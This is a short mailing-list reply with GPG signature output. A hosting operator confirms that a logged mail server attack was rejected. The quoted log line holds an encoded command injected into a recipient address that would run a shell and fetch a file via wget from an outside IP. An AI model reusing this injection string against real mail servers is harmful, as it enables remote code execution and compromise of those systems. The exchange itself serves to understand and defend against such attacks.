gpg: Signature made Sun Jun 23 06:30:19 2019 UTC
gpg: using DSA key 2099B64CBF15490B
gpg: Good signature from "Andy Smith <andy@strugglers.net>" [unknown]
gpg: aka "Andrew James Smith <andy@strugglers.net>" [unknown]
gpg: aka "Andy Smith (UKUUG) <andy.smith@ukuug.org>" [unknown]
gpg: aka "Andy Smith (BitFolk Ltd.) <andy@bitfolk.com>" [unknown]
gpg: aka "Andy Smith (Linux User Groups UK) <andy@lug.org.uk>" [unknown]
gpg: aka "Andy Smith (Cernio Technology Cooperative) <andy.smith@cernio.com>" [unknown]
Hello,
On Sun, Jun 23, 2019 at 07:20:53AM +0100, John Winters wrote:
> On 23/06/2019 04:24, Andy Smith wrote:
> > 2019-06-19 14:57:19 H=li810-176.members.linode.com (service.com) [104.237.134.176] F=<support@???> rejected RCPT <root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2ftmp\x2f85.119.82.70\x22}}@???>: Unrouteable address
>
> Am I right in thinking that the fact that the log entry says "rejected
> RCPT" etc. means that the attack has been thwarted?
Yes.
Cheers,
Andy
--
https://bitfolk.com/ -- No-nonsense VPS hosting
